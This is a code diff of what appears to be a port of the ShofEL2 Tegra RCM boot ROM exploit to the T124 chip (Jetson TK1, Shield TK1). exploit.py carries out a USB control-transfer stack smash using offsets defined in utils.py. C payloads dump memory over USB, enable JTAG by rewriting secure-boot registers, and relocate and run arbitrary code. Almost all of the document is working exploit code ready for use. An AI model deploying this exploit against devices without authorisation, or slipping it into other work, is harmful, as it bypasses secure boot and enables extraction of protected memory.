#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
#define PMC_BASE 0x7000e400
#define PMC_CNTRL 0x000
#define PMC_CNTRL_MAIN_RST (1 << 4)
#define PMC_SCRATCH0 0x050
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
#define FUSE_BASE 0x7000F900
#define FUSE_LEN 0x300
#endif

View File

@ -0,0 +1,20 @@
#ifndef _TYPES_H_
#define _TYPES_H_
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef u32 size_t;
typedef u32 uintptr_t;
typedef u32 uint32_t;
#endif

View File

@ -0,0 +1,24 @@
#include "types.h"
#include "t124.h"
typedef void (*do_bct_boot_t)( void );
void memcpy( void *dst, const void *src, size_t len ) {
for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
__attribute__((section(".init")))
void entry() {
memcpy( (void*) ( IRAM_END - IROM_LEN + 1 ), (void*) IROM_BEGIN, IROM_LEN );
register do_bct_boot_t do_bct_boot = (do_bct_boot_t) ( BOOTROM_DO_BCT_BOOT | 1 );
do_bct_boot();
while(1);
}

View File

@ -0,0 +1,55 @@
#include "types.h"
#include "t124.h"
extern u32 __payload_bin_start;
extern u32 __payload_bin_end;
typedef void (*post_relocation_t)( void );
typedef void (*payload_ep_t)( void );
typedef void (*_memcpy_t)( void *dst, const void *src, size_t len );
void _memcpy( void *dst, const void *src, size_t len ) {
for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
// Probably I could trust in have relative PC branches, so no address would
// require to be updated. This would work since there is a whole new copy
// of the binary on the relocated area and PC would be working on that area
// but having memcpy address on a register and update it to the relocated
// area when required should improve the chances of the compiler not messing
// up with the memcpy calls.
register _memcpy_t memcpy asm("r7");
void _post_relocation() {
// Same with these arguments....
register u32 payload_bef_len = *( (u32 *) IRAM_ADD_PAYLOAD_BEF_LENVAR );
register u32 payload_aft_len = *( (u32 *) IRAM_ADD_PAYLOAD_AFT_LENVAR );
register u32 payload_thumb_mode = *( (u32 *) IRAM_ADD_PAYLOAD_THUMB_MODE );
memcpy -= INTERMEZZO_LEN;
memcpy( (u8 *) BOOTROM_PAYLOAD_ENTRY, (u8 *) IRAM_ADD_PAYLOAD_START, payload_bef_len );
memcpy( (u8 *) (BOOTROM_PAYLOAD_ENTRY + payload_bef_len), (u8 *) IRAM_ADD_PAYLOAD_CONT, payload_aft_len );
payload_ep_t payload_ep = (payload_ep_t) ( BOOTROM_PAYLOAD_ENTRY | payload_thumb_mode );
payload_ep();
}
__attribute__((section(".init")))
void pre_relocation() {
u32 payload_bin_size = (u32)&__payload_bin_end - (u32)&__payload_bin_start;
u8 *dest = (u8 *) ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN );
memcpy = _memcpy;
memcpy( dest, &__payload_bin_start, payload_bin_size );
post_relocation_t post_relocation = _post_relocation - INTERMEZZO_LEN;
post_relocation();
}

View File

@ -0,0 +1,40 @@
#include "t124.h"
#include "types.h"
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
__attribute__(( section(".init") ))
void main() {
u32 pirom_start_0 = 0x00010000;
write32( SECURE_BOOT_BASE + SB_PIROM_START_0, pirom_start_0 );
u32 sb_csr_0 = 0x00000010;
write32( SECURE_BOOT_BASE + SB_CSR_0, sb_csr_0 );
u32 sb_pfcfg_0 = read32( SECURE_BOOT_BASE + SB_PFCFG_0 );
sb_pfcfg_0 &= 0xfffffff0;
sb_pfcfg_0 |= 0xf;
write32( SECURE_BOOT_BASE + SB_PFCFG_0, sb_pfcfg_0 );
or32( APB_BASE + APB_MISC_PP_CONFIG_CTL_0, APB_MISC_PP_CONFIG_CTL_0_JTAG |
APB_MISC_PP_CONFIG_CTL_0_TBE );
while(1) {
// Halt COP and wait for JTAG
or32( FLOW_CTLR_BASE + FLOW_CTLR_HALT_COP_EVENTS_0,
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT |
FLOW_CTLR_HALT_COP_JTAG );
}
}

View File

@ -0,0 +1,58 @@
#include "types.h"
#include "t124.h"
#include "mem_dumper_usb_server.h"
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
void memcpy( void *dst, const void *src, size_t len ) {
for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
void enter_rcm() {
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}
__attribute__((section(".init")))
void entry() {
u32 num_xfer;
u32 to_send;
struct mem_dumper_args_s args;
u8 *buffer = (u8*)0x40020000;
ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
ep1_out_read_imm( &args, sizeof(args), &num_xfer );
while ( args.len > 0 ) {
to_send = args.len > 0x1000? 0x1000 : args.len;
memcpy( buffer, (void*)args.start, to_send );
ep1_in_write_imm( buffer, to_send, &num_xfer );
args.start += to_send;
args.len -= to_send;
}
enter_rcm();
}

View File

@ -0,0 +1,36 @@
#include "types.h"
#include "t124.h"
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
ep1_x_imm_t usb_read = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t usb_write = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
// int (*usb_write)(void*addr, uint32_t size, void *return_addr) = (void*)BOOTROM_EP1_IN_WRITE_IMM;
// int (*usb_read)(int, int, int) = (void*)BOOTROM_EP1_OUT_READ_IMM;
int mystrlen(char *data) {
int i=0;
while(1) {
if(data[i++] == '\0'){
break;
}
}
return i-1;
}
#define usb_log(msg, error) usb_write(msg, mystrlen(msg), error);
__attribute__((section(".init")))
void payload_main() {
uint32_t error_code;
uint32_t data = 0xdeadbeef;
u32 num_xfer;
u32 to_send;
u8 *buffer = (u8*)0x40020000;
uint32_t test = 1;
while (1) {
usb_write(&test, sizeof(test), &num_xfer );
test += 1;
}
}

View File

@ -0,0 +1,16 @@
__payload_bin_start = 0x4000E000;
ENTRY(__payload_bin_start)
SECTIONS {
/* We don't do GOT relocation and rely on nothing ending up using the GOT
* (-fno-common helps here) */
/DISCARD/ : { *(.comment) }
.init (__payload_bin_start): { *(.init) *(.init.*) }
.text : { *(.text) *(.text.*) }
.data : { *(.data) *(.data.*) }
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
.got : { *(.got) }
.bss : { *(.bss) *(.bss.*) *(COMMON)}
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
__payload_bin_end = .;
}

View File

@ -0,0 +1,20 @@
#include "t124.h"
#include "types.h"
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
__attribute__((section(".init")))
void main() {
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}

218
exploit.py Normal file
View File

@ -0,0 +1,218 @@
from io import BytesIO
import usb.core
import usb.util
import sys
import struct
from utils import *
import argparse
import ctypes
import time
import fcntl
import platform
import os
IS_OSX = platform.system() == "Darwin"
USBDEVFS_URB_TYPE_CONTROL = 2
USBDEVFS_SUBMITURB = 0x8038550a
USBDEVFS_REAPURB = 0x4008550c
USBDEVFS_DISCARDURB = 0x0000550b
debug_exchanges = 0
class DEVICE():
def usb_connect(self):
self.dev = None
while self.dev is None:
if self.dev is None:
self.dev = usb.core.find(idVendor=SHIELD_TK1_VID, idProduct=SHIELD_TK1_PID)
if self.dev is None:
self.dev = usb.core.find(idVendor=JETSON_TK1_VID, idProduct=JETSON_TK1_PID)
if self.dev is None:
error("Could not find APX device!")
sys.exit(ERROR_STATUS)
while(True):
try:
self.dev.detach_kernel_driver(interface=0)
except Exception as e:
if(e.errno == 2):
break
pass
def usb_read(self, size, title="recv data"):
IN = 0x81
data = self.dev.read(IN, size)
data = bytes([char for char in data])
if debug_exchanges == 1:
hexdump(data, title=title)
return data
def usb_write(self, data):
OUT = 0x1
self.dev.write(OUT, data)
if debug_exchanges == 1:
hexdump(data, color=5, title="out")
def usb_reset(self):
self.dev.reset()
def __init__(self):
self.usb_connect()
self.write = self.usb_write
self.read = self.usb_read
def read_chip_id(self):
r = self.usb_read(0x10)
info(f"Chip id: {r.hex()}")
# lol
def get_fds():
return set(int(i) for i in os.listdir("/proc/self/fd"))
class TegraRCM():
def ep0_read_unbounded(self, size):
print("Size: 0x%x\n" % size)
if IS_OSX:
try:
s.dev.ctrl_transfer(0x82, 0, 0, 0, size)
except usb.core.USBError:
print("timeout.. good!")
return
buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size))
print(bytes(buf[:8]).hex())
urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x",
USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep
0, 0, # status, flags
ctypes.addressof(buf), len(buf), 0, # buf, len, actual
0, 0, 0, 0, 0xf0f))
print(bytes(urb[:-1024]).hex())
print("URB address: 0x%x" % ctypes.addressof(urb))
for fd in self.fds:
try:
fcntl.ioctl(fd, USBDEVFS_SUBMITURB, urb)
# time.sleep(0.1)
fcntl.ioctl(fd, USBDEVFS_DISCARDURB, urb)
purb = ctypes.c_void_p()
fcntl.ioctl(fd, USBDEVFS_REAPURB, purb)
if purb.value != ctypes.addressof(urb):
print("Reaped the wrong URB! addr 0x%x != 0x%x" % (
purb.value, ctypes.addressof(urb)))
_, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56])
print("URB status: %d" % status)
if ctx != 0xf0f:
print("Reaped the wrong URB! ctx=0x%x" % ctx)
# break
info(f"Done on {fd}")
return status
except Exception as e:
print(str(e))
return None
def __init__(self):
if not IS_OSX:
fds_before = get_fds()
self.dev = DEVICE()
if not IS_OSX:
self.fds = get_fds() - fds_before
self.fd = sorted(list(self.fds))[-1]
info("File descriptor: %d" % self.fd)
def get_payload_aft_len(self, payload):
payload.seek(0)
sz = len(payload.read())
payload.seek(0)
if(sz > MAX_PAYLOAD_FILE_SIZE ):
print(f"Payload to big!")
sys.exit(ERROR_STATUS)
payload_aft_len = 0
if sz > MAX_PAYLOAD_BEF_SIZE:
payload_aft_len = sz - MAX_PAYLOAD_BEF_SIZE
return payload_aft_len
def read_intermezzo(self, rcm_cmd_buf : BytesIO):
intermezzo = open("ShofEL2-for-T124/intermezzo.bin", "rb").read(INTERMEZZO_LEN)
intermezzo_size = len(intermezzo)
rcm_cmd_buf.seek(RCM_CMD_BUF_INTERMEZZO_START)
rcm_cmd_buf.write(intermezzo)
def read_payload_file(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len):
payload_bef = payload_file_fd.read(MAX_PAYLOAD_BEF_SIZE)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_START)
rcm_cmd_buf.write(payload_bef)
payload_bef_len = len(payload_bef)
payload_aft_len = 0
if(rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT):
payload_aft = payload_file_fd.read(rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT)
payload_aft_len = len(payload_aft)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_CONT)
rcm_cmd_buf.write(payload_aft)
payload_bef_len = struct.pack("<L", payload_bef_len)
payload_aft_len = struct.pack("<L", payload_aft_len )
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_BEF_LENVAR)
rcm_cmd_buf.write(payload_bef_len)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_AFT_LENVAR)
rcm_cmd_buf.write(payload_aft_len)
def build_rcm_cmd(self, payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode ):
ret = -1
rcm_cmd_len = struct.pack("<L", RCM_CMD_LEN)
payload_entry = struct.pack("<L", (BOOTROM_PAYLOAD_ENTRY | 0x1))
payload_thumb_mode = struct.pack("<L", payload_thumb_mode)
self.read_intermezzo(rcm_cmd_buf)
self.read_payload_file(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len)
rcm_cmd_buf.seek(0)
rcm_cmd_buf.write(rcm_cmd_len)
rcm_cmd_buf.seek(RCM_CMD_BUF_MEMCPY_RET_ADD)
rcm_cmd_buf.write(payload_entry)
rcm_cmd_buf.seek(RCM_CMD_BUF_PAYLOAD_THUMB_MODE)
rcm_cmd_buf.write(payload_thumb_mode)
def send_rcm_cmd(self, payload_filename, payload_thumb_mode=1):
status = -1
payload_file_fd = open(payload_filename, "rb")
payload_aft_len = self.get_payload_aft_len(payload_file_fd)
if(payload_aft_len < 0):
sys.exit(ERROR_STATUS)
rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len
padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 )
n_writes = ( rcm_cmd_buf_len + padding) / 0x1000
if not (n_writes % 2):
padding += 0x1000
rcm_cmd_buf = BytesIO()
rcm_cmd_buf.write(b'\x00' * (rcm_cmd_buf_len + padding))
self.build_rcm_cmd(payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode)
rcm_cmd_buf.seek(0)
self.dev.write(rcm_cmd_buf.read())
payload_file_fd.close()
def send_payload(self, payload):
'''
Sends user specified payload to device
'''
self.send_rcm_cmd(payload, 1)
#Smash the stack
status = self.ep0_read_unbounded(BOOTROM_SMASH_LEN)
if(status == 0):
error("wrong status returned!")
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("payload", help="Payload to send to the tablet")
args = parser.parse_args()
rcm = TegraRCM()
rcm.dev.read_chip_id()
rcm.send_payload(args.payload)

143
utils.py Normal file
View File

@ -0,0 +1,143 @@
import string
JETSON_TK1_VID= 0x0955
JETSON_TK1_PID= 0x7140
SHIELD_TK1_VID =0x0955
SHIELD_TK1_PID= 0x7f40
IROM_BEGIN = 0x00100000
IROM_END = 0x0010FFFF
IROM_LEN = 0x00010000
IRAM_BEGIN = 0x40000000
IRAM_END = 0x4003FFFF
IRAM_LEN = 0x00040000
BOOTROM_DO_BCT_BOOT = 0x00100624
BOOTROM_EP1_IN_WRITE_IMM = 0x001065C0
BOOTROM_EP1_OUT_READ_IMM = 0x00106612
BOOTROM_USB_BUF_1 = 0x40004000
BOOTROM_USB_BUF_2 = 0x40008000
BOOTROM_PAYLOAD_ENTRY = 0x4000E000
BOOTROM_SMASH_TARGET = 0x4000DCD8
BOOTROM_STACK_GAP_LEN = 0x30C
BOOTROM_SMASH_LEN = (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) #// 0x5CD8
VARS_LEN= 0x10
INTERMEZZO_LEN =0x100
INTERMEZZO_REL_ADD =( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) #// 0x4000DF00
OFFSET_INTERMEZZO_START = 0x0
OFFSET_PAYLOAD_START = ( INTERMEZZO_LEN )
OFFSET_MEMCPY_RET_ADD = ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) #// 0x59C8 ( 0x30C Bytes copied from the stack before entry )
OFFSET_PAYLOAD_BEF_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x4 )
OFFSET_PAYLOAD_AFT_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x8 )
OFFSET_PAYLOAD_THUMB_MODE = ( OFFSET_MEMCPY_RET_ADD - 0xC )
OFFSET_PAYLOAD_CONT = ( OFFSET_MEMCPY_RET_ADD + 0x4 )
IRAM_ADD_INTERMEZZO_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
IRAM_ADD_PAYLOAD_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
IRAM_ADD_PAYLOAD_BEF_LENVAR = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
IRAM_ADD_PAYLOAD_AFT_LENVAR= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
IRAM_ADD_PAYLOAD_THUMB_MODE= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
IRAM_ADD_PAYLOAD_CONT = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
RCM_EP1_IN = 0x81
RCM_EP1_OUT = 0x01
RCM_CHIP_ID_LEN =0x10
RCM_CMD_LEN =0x32274
RCM_CMD_MAX_USEFUL_LEN = 0x31000 # Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
RCM_CMD_HEADER_LEN = 0x284
RCM_CMD_BUF_INTERMEZZO_START = ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
RCM_CMD_BUF_PAYLOAD_START = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
RCM_CMD_BUF_MEMCPY_RET_ADD = ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
RCM_CMD_BUF_PAYLOAD_BEF_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
RCM_CMD_BUF_PAYLOAD_AFT_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
RCM_CMD_BUF_PAYLOAD_THUMB_MODE = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
RCM_CMD_BUF_PAYLOAD_CONT = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
MAX_PAYLOAD_BEF_SIZE = ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) # 22716 Bytes
MAX_PAYLOAD_AFT_SIZE = ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) # 177072 Bytes
MAX_PAYLOAD_FILE_SIZE = ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) # 199788 Bytes
SECURE_BOOT_BASE= 0x6000C200
SB_CSR_0 = 0x0
SB_PIROM_START_0 = 0x4
SB_PFCFG_0 = 0x8
JTAG_ON = 0x00000080
APB_BASE =0x70000000
APB_MISC_PP_CONFIG_CTL_0= 0x24
APB_MISC_PP_CONFIG_CTL_0_JTAG = 0x40
APB_MISC_PP_CONFIG_CTL_0_TBE = 0x80
FLOW_CTLR_BASE = 0x60007000
FLOW_CTLR_HALT_COP_EVENTS_0 = 0x4
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT =(1 << 30)
FLOW_CTLR_HALT_COP_JTAG = (1 << 28)
PMC_BASE = 0x7000e400
PMC_CNTRL = 0x000
PMC_CNTRL_MAIN_RST = (1 << 4)
PMC_SCRATCH0 = 0x050
PMC_SCRATCH0_MODE_RCM = (1 << 1)
FUSE_BASE = 0x7000F900
FUSE_LEN = 0x300
PAYLOAD_SIZE = 0x32274
USB_CTRL_DEVICE_ENDPOINT_TO_HOST = 0x82
USB_CTRL_GET_STATUS = 0x00
SUCCESS_STATUS = 0
ERROR_STATUS = 4
def info(msg):
print("[\033[34;1mi\033[0m] %s" % (msg))
def ok(msg):
print("[\033[32;1m+\033[0m] %s" % (msg))
def warn(msg):
print("[\033[33;1mw\033[0m] %s" % (msg))
def error(msg):
print("[\033[31;1m!\033[0m] %s" % (msg))
def hexdump(buf, title="", color=6, start=0, remove_dup=True):
color_start = "\033[3%d;1m" % color
color_start_no_bold = "\033[0m\033[3%dm" % color
color_stop = "\033[0m"
address_format_size = len("0x%08x " % (len(buf) + start))
space_before = " "*address_format_size
out=("%s%s"+""*49+""+""*18+"%s\n") % (space_before, color_start,color_stop)
if title != "":
dashlen = int((46-len(title))/2)
out=("%s%s"+""*dashlen+" "+title+" "+""*(dashlen-(1-(len(title)%2)))+""+""*18+"%s\n") % (space_before, color_start,color_stop)
last_is_dup = False
for i in range(0,len(buf),16):
if remove_dup:
if i != 0 and (i+16) < len(buf):
if buf[i:i+16] == buf[i-16:i] and buf[i:i+16] == buf[i+16:i+32]:
if not last_is_dup:
out+="%s%s* ┆ %s" % (space_before[:-2], color_start, color_start_no_bold)
out+=""*47
out+="%s%s" % (color_start, color_start_no_bold)
out+=""*16
out+=" %s%s\n" % (color_start, color_stop)
last_is_dup = True
continue
else:
last_is_dup=False
out+="%s0x%08x%s" % (color_start,i+start,color_stop)
for j in range(16):
if i+j < len(buf):
if type(buf) == bytes:
out+="%02x " % (buf[i+j])
else:
out+="%02x " % (ord(buf[i+j]))
else:
out+=" "
out+="%s%s" % (color_start,color_stop)
for j in range(16):
if i+j < len(buf):
char = buf[i+j]
if type(char) == int:
char = chr(char)
if char in string.printable and char not in "\t\n\r\x0b\x0c":
out+="%s" % (char)
else:
out+="."
else:
out+=" "
out+=" %s%s\n" % (color_start,color_stop)
out+=("%s%s"+""*49+""+""*18+"%s") % (space_before, color_start,color_stop)
print(out)